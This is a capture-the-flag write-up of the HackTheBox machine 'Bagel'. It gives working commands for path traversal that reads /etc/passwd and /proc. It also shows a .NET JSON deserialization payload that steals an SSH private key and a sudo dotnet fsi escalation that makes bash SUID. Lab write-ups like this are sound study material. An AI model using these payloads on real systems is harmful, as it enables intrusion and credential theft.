8 minutes
HackTheBox :: Bagel
Creator: CestLaVie
Machine URL: https://app.hackthebox.com/machines/Bagel
Difficulty: Medium
Initial Enumeration
Nmap 7.93 scan initiated Wed Mar 29 16:12:19 2023 as: nmap -p- -oA nmap/nmap_initial --min-rate=4000 -vv -sC -sV 10.129.228.247
Nmap scan report for 10.129.228.247
Host is up, received echo-reply ttl 63 (0.041s latency).
Scanned at 2023-03-29 16:12:20 CEST for 114s
Not shown: 65532 closed tcp ports (reset)
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 8.8 (protocol 2.0)
| ssh-hostkey:
| 256 6e4e1341f2fed9e0f7275bededcc68c2 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBEwHzrBpcTXWKbxBWhc6yfWMiWfWjPmUJv2QqB/c2tJDuGt/97OvgzC+Zs31X/IW2WM6P0rtrKemiz3C5mUE67k=
| 256 80a7cd10e72fdb958b869b1b20652a98 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAINnQ9frzL5hKjBf6oUklfUhQCMFuM0EtdYJOIxUiDuFl
5000/tcp open upnp? syn-ack ttl 63
| fingerprint-strings:
| GetRequest:
| HTTP/1.1 400 Bad Request
| Server: Microsoft-NetCore/2.0
| Date: Wed, 29 Mar 2023 14:12:45 GMT
| Connection: close
| HTTPOptions:
| HTTP/1.1 400 Bad Request
| Server: Microsoft-NetCore/2.0
| Date: Wed, 29 Mar 2023 14:13:00 GMT
| Connection: close
| Help, SSLSessionReq, TLSSessionReq, TerminalServerCookie:
| HTTP/1.1 400 Bad Request
| Content-Type: text/html
| Server: Microsoft-NetCore/2.0
| Date: Wed, 29 Mar 2023 14:13:11 GMT
| Content-Length: 52
| Connection: close
| Keep-Alive: true
| <h1>Bad Request (Invalid request line (parts).)</h1>
| RTSPRequest:
| HTTP/1.1 400 Bad Request
| Content-Type: text/html
| Server: Microsoft-NetCore/2.0
| Date: Wed, 29 Mar 2023 14:12:45 GMT
| Content-Length: 54
| Connection: close
| Keep-Alive: true
|_ <h1>Bad Request (Invalid request line (version).)</h1>
8000/tcp open http-alt syn-ack ttl 63 Werkzeug/2.2.2 Python/3.10.9
| fingerprint-strings:
| FourOhFourRequest:
| HTTP/1.1 404 NOT FOUND
| Server: Werkzeug/2.2.2 Python/3.10.9
| Date: Wed, 29 Mar 2023 14:12:45 GMT
| Content-Type: text/html; charset=utf-8
| Content-Length: 207
| Connection: close
| <!doctype html>
| <html lang=en>
| <title>404 Not Found</title>
| <h1>Not Found</h1>
| <p>The requested URL was not found on the server. If you entered the URL manually please check your spelling and try again.</p>
| GetRequest:
| HTTP/1.1 302 FOUND
| Server: Werkzeug/2.2.2 Python/3.10.9
| Date: Wed, 29 Mar 2023 14:12:40 GMT
| Content-Type: text/html; charset=utf-8
| Content-Length: 263
| Location: http://bagel.htb:8000/?page=index.html
| Connection: close
| <!doctype html>
| <html lang=en>
| <title>Redirecting...</title>
| <h1>Redirecting...</h1>
| <p>You should be redirected automatically to the target URL: <a href="http://bagel.htb:8000/?page=index.html">http://bagel.htb:8000/?page=index.html</a>. If not, click the link.
| Socks5:
| <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"
| "http://www.w3.org/TR/html4/strict.dtd">
| <html>
| <head>
| <meta http-equiv="Content-Type" content="text/html;charset=utf-8">
| <title>Error response</title>
| </head>
| <body>
| <h1>Error response</h1>
| <p>Error code: 400</p>
| <p>Message: Bad request syntax ('
| ').</p>
| <p>Error code explanation: HTTPStatus.BAD_REQUEST - Bad request syntax or unsupported method.</p>
| </body>
|_ </html>
|_http-title: Did not follow redirect to http://bagel.htb:8000/?page=index.html
| http-methods:
|_ Supported Methods: GET HEAD OPTIONS
|_http-server-header: Werkzeug/2.2.2 Python/3.10.9
2 services unrecognized despite returning data.
Three ports are open: 22 (OpenSSH), 5000 (Unknown – Microsoft-NetCore/2.0), and 8000 (Werkzeug/2.2.2 Python/3.10.9).
We add bagel.htb to our /etc/hosts file.
Let’s start with the Werkzeug web application on TCP 8000.
This will probably be a Flask app.
Flask – bagel.htb:8000
Main page
http://bagel.htb:8000/?page=index.html
We are greeted by the website for a bagel shop.
Note the page
parameter. We should test it for path traversal vulnerabilities.
Orders page
Returns a weird result with no HTML or CSS:
HTTP/1.1 200 OK
Server: Werkzeug/2.2.2 Python/3.10.9
Date: Fri, 02 Jun 2023 06:54:22 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 267
Connection: close
order #1 address: NY. 99 Wall St., client name: P.Morgan, details: [20 chocko-bagels]
order #2 address: Berlin. 339 Landsberger.A., client name: J.Smith, details: [50 bagels]
order #3 address: Warsaw. 437 Radomska., client name: A.Kowalska, details: [93 bel-bagels]
We take note of it.
There is not much else to explore on this website.
Let’s test the page
parameter on the main page.
Directory Traversal in /?page
We get the Directory Traversal with the most basic payload:
┌──(fluff㉿kali)-[/tmp]
└─$ curl http://bagel.htb:8000/?page=../../../../etc/passwd
root❌0:0:root:/root:/bin/bash
bin❌1:1:bin:/bin:/sbin/nologin
daemon❌2:2:daemon:/sbin:/sbin/nologin
adm❌3:4:adm:/var/adm:/sbin/nologin
lp❌4:7:lp:/var/spool/lpd:/sbin/nologin
sync❌5:0:sync:/sbin:/bin/sync
shutdown❌6:0:shutdown:/sbin:/sbin/shutdown
halt❌7:0:halt:/sbin:/sbin/halt
mail❌8:12:mail:/var/spool/mail:/sbin/nologin
operator❌11:0:operator:/root:/sbin/nologin
games❌12💯games:/usr/games:/sbin/nologin
ftp❌14:50:FTP User:/var/ftp:/sbin/nologin
nobody❌65534:65534:Kernel Overflow User:/:/sbin/nologin
dbus❌81:81:System message bus:/:/sbin/nologin
tss❌59:59:Account used for TPM access:/dev/null:/sbin/nologin
systemd-network❌192:192:systemd Network Management:/:/usr/sbin/nologin
systemd-oom❌999:999:systemd Userspace OOM Killer:/:/usr/sbin/nologin
systemd-resolve❌193:193:systemd Resolver:/:/usr/sbin/nologin
polkitd❌998:997:User for polkitd:/:/sbin/nologin
rpc❌32:32:Rpcbind Daemon:/var/lib/rpcbind:/sbin/nologin
abrt❌173:173::/etc/abrt:/sbin/nologin
setroubleshoot❌997:995:SELinux troubleshoot server:/var/lib/setroubleshoot:/sbin/nologin
cockpit-ws❌996:994:User for cockpit web service:/nonexisting:/sbin/nologin
cockpit-wsinstance❌995:993:User for cockpit-ws instances:/nonexisting:/sbin/nologin
rpcuser❌29:29:RPC Service User:/var/lib/nfs:/sbin/nologin
sshd❌74:74:Privilege-separated SSH:/usr/share/empty.sshd:/sbin/nologin
chrony❌994:992::/var/lib/chrony:/sbin/nologin
dnsmasq❌993:991:Dnsmasq DHCP and DNS server:/var/lib/dnsmasq:/sbin/nologin
tcpdump❌72:72::/:/sbin/nologin
systemd-coredump❌989:989:systemd Core Dumper:/:/usr/sbin/nologin
systemd-timesync❌988:988:systemd Time Synchronization:/:/usr/sbin/nologin
developer❌1000:1000::/home/developer:/bin/bash
phil❌1001:1001::/home/phil:/bin/bash
_laurel❌987:987::/var/log/laurel:/bin/false
Let’s read some files and gather info.
/proc/self/cmdline
┌──(fluff㉿kali)-[/tmp]
└─$ curl http://bagel.htb:8000/?page=../../../../proc/self/cmdline --output -
python3/home/developer/app/app.py
Now we know the full path to the Flask app.
app.py
┌──(fluff㉿kali)-[/tmp]
└─$ curl http://bagel.htb:8000/?page=../app.py
from flask import Flask, request, send_file, redirect, Response
import os.path
import websocket,json
app = Flask(__name__)
@app.route('/')
def index():
if 'page' in request.args:
page = 'static/'+request.args.get('page')
if os.path.isfile(page):
resp=send_file(page)
resp.direct_passthrough = False
if os.path.getsize(page) == 0:
resp.headers["Content-Length"]=str(len(resp.get_data()))
return resp
else:
return "File not found"
else:
return redirect('http://bagel.htb:8000/?page=index.html', code=302)
@app.route('/orders')
def order(): # don't forget to run the order app first with "dotnet <path to .dll>" command. Use your ssh key to access the machine.
try:
ws = websocket.WebSocket()
ws.connect("ws://127.0.0.1:5000/") # connect to order app
order = {"ReadOrder":"orders.txt"}
data = str(json.dumps(order))
ws.send(data)
result = ws.recv()
return(json.loads(result)['ReadOrder'])
except:
return("Unable to connect")
if __name__ == '__main__':
app.run(host='0.0.0.0', port=8000)
We see the code that resulted in our Directory Traversal and the /orders
route.
TCP 5000 is a WebSockets server.
Let’s confirm that we can interact with it in the same way that the Flask application does.
I will use wscat for this:
┌──(fluff㉿kali)-[/tmp]
└─$ wscat --connect ws://bagel.htb:5000
Connected (press CTRL+C to quit)
> {"ReadOrder":"orders.txt"}
< {
"UserId": 0,
"Session": "Unauthorized",
"Time": "10:07:45",
"RemoveOrder": null,
"WriteOrder": null,
"ReadOrder": "order #1 address: NY. 99 Wall St., client name: P.Morgan, details: [20 chocko-bagels]\norder #2 address: Berlin. 339 Landsberger.A., client name: J.Smith, details: [50 bagels]\norder #3 address: Warsaw. 437 Radomska., client name: A.Kowalska, details: [93 bel-bagels] \n"
}
Yes, we can.
/proc/self/status
┌──(fluff㉿kali)-[/tmp]
└─$ curl http://bagel.htb:8000/?page=../../../../proc/self/status
Name: python3
Umask: 0022
State: S (sleeping)
Tgid: 896
Ngid: 0
Pid: 896
...
Let’s check neighboring pids:
/proc/894/cmdline
┌──(fluff㉿kali)-[/tmp]
└─$ curl http://bagel.htb:8000/?page=../../../../proc/894/cmdline --output -
dotnet/opt/bagel/bin/Debug/net6.0/bagel.dll
Most likely, this is our NetCore WebSockets app.
┌──(fluff㉿kali)-[/tmp/bagel]
└─$ curl http://bagel.htb:8000/?page=../../../../proc/894/status
...
Uid: 1001 1001 1001 1001
Gid: 1001 1001 1001 1001
...
And it’s run by a user with UID 1001 – phil.
Let’s download it and investigate.
┌──(fluff㉿kali)-[/tmp/bagel]
└─$ curl http://bagel.htb:8000/?page=../../../../opt/bagel/bin/Debug/net6.0/bagel.dll > bagel.dll
Analyzing bagel.dll
I will use ILSpy to analyze this .NET application as I am running Linux.
If you are on Windows dnSpy can be used.
bagel_server.DB
In the bagel_server.DB
we find SQL credentials.
bagel_server.Bagel
In bagel_server.Bagel MessageReceived()
we see how the Serialization and Deserialization are handled.
private static void MessageReceived(object sender, MessageReceivedEventArgs args)
{
string json = "";
if (args.get_Data() != null && args.get_Data().Count > 0)
{
json = Encoding.UTF8.GetString(args.get_Data().Array, 0, args.get_Data().Count);
}
Handler handler = new Handler();
object obj = handler.Deserialize(json);
object obj2 = handler.Serialize(obj);
_Server.SendAsync(args.get_IpPort(), obj2.ToString(), default(CancellationToken));
}
bagel_server.Handler
bagel_server.Handler Deserialize()
using Newtonsoft.Json;
...
val.set_TypeNameHandling((TypeNameHandling)4);
return JsonConvert.DeserializeObject<Base>(json, val);
...
(TypeNameHandling)4
enum is Auto.
We may be dealing with Insecure JSON Deserialization.
Insecure JSON Deserialization in bagel.dll
Let’s check Base
:
// bagel_server.Base
...
public class Base : Orders
...
Orders
class is where we want to hunt for abusable objects.
// bagel_server.Orders
...
public class Orders
{
...
public object RemoveOrder { get; set; }
...
And we have a convenient one – RemoveOrder
.
Next, we need to find a method to call.
// bagel_server.File
public string ReadFile
{
get
{
return file_content;
}
set
{
filename = value;
ReadContent(directory + filename);
}
}
bagel_server.File
has a ReadFile
method that will allow us to read any file phil has access to.
Exploitation
Here is a relevant blog post on a similar deserialization exploitation.
┌──(fluff㉿kali)-[/opt/ctf/htb/bagel]
└─$ wscat -c ws://bagel.htb:5000
Connected (press CTRL+C to quit)
> {"RemoveOrder": {"$type": "bagel_server.File, bagel", "ReadFile": "../../../home/phil/.ssh/id_rsa"}}
In response, we get phil’s id_rsa:
< {
"UserId": 0,
"Session": "Unauthorized",
"Time": "6:53:11",
"RemoveOrder": {
"$type": "bagel_server.File, bagel",
"ReadFile": "-----BEGIN OPENSSH PRIVATE KEY-----\n<REDACTED>\n-----END OPENSSH PRIVATE KEY-----",
"WriteFile": null
},
"WriteOrder": null,
"ReadOrder": null
}
phil
We can ssh
as phil with this SSH private key.
┌──(fluff㉿kali)-[/opt/…/htb/bagel/loot]
└─$ ssh [email protected] -i phil_rsa
Grab /home/phil/user.txt to get the first flag.
The credentials that we have looted from bagel_server.DB
in bagel.dll are reused for the user developer.
We can su developer
.
[phil@bagel /]$ su developer
Password:
[developer@bagel /]$ id
uid=1000(developer) gid=1000(developer) groups=1000(developer) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
developer
Let’s check if we can run anything via sudo
:
[developer@bagel phil]$ sudo -l
Matching Defaults entries for developer on bagel:
!visiblepw, always_set_home, match_group_by_gid, always_query_group_plugin, env_reset, env_keep="COLORS DISPLAY HOSTNAME HISTSIZE KDEDIR LS_COLORS", env_keep+="MAIL QTDIR USERNAME LANG LC_ADDRESS LC_CTYPE", env_keep+="LC_COLLATE LC_IDENTIFICATION
LC_MEASUREMENT LC_MESSAGES", env_keep+="LC_MONETARY LC_NAME LC_NUMERIC LC_PAPER LC_TELEPHONE", env_keep+="LC_TIME LC_ALL LANGUAGE LINGUAS _XKB_CHARSET XAUTHORITY",
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/var/lib/snapd/snap/bin
User developer may run the following commands on bagel:
(root) NOPASSWD: /usr/bin/dotnet
Privilege escalation to root
Let’s see what we can do with this binary:
[developer@bagel /]$ sudo /usr/bin/dotnet --help
.NET SDK (6.0.113)
Usage: dotnet [runtime-options] [path-to-application] [arguments]
...
Additional commands from bundled tools:
...
fsi Start F# Interactive / execute F# scripts.
...
We can just call the Process.Start method from System.Diagnostics in the F# Interactive shell.
[developer@bagel /]$ sudo /usr/bin/dotnet fsi
...
> System.Diagnostics.Process.Start("chmod","+s /bin/bash");;
...
> #quit;;
[developer@bagel /]$ ls -la /bin/bash
-rwsr-sr-x. 1 root root 1431888 Jan 2 14:01 /bin/bash
bash
is now a SUID binary and we can obtain root with bash -p
.
[developer@bagel /]$ bash -p
bash-5.2# id
uid=1000(developer) gid=1000(developer) euid=0(root) egid=0(root) groups=0(root),1000(developer) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
We are root!
Grab the flag from /root/root.txt and we are done.
PS: A better way to use F# Interactive
After the box release the dotnet entry on GTFOBins was amended to include the sudo
abuse:
sudo /usr/bin/dotnet fsi
> System.Diagnostics.Process.Start("/bin/sh").WaitForExit();;
Will spawn sh
as root.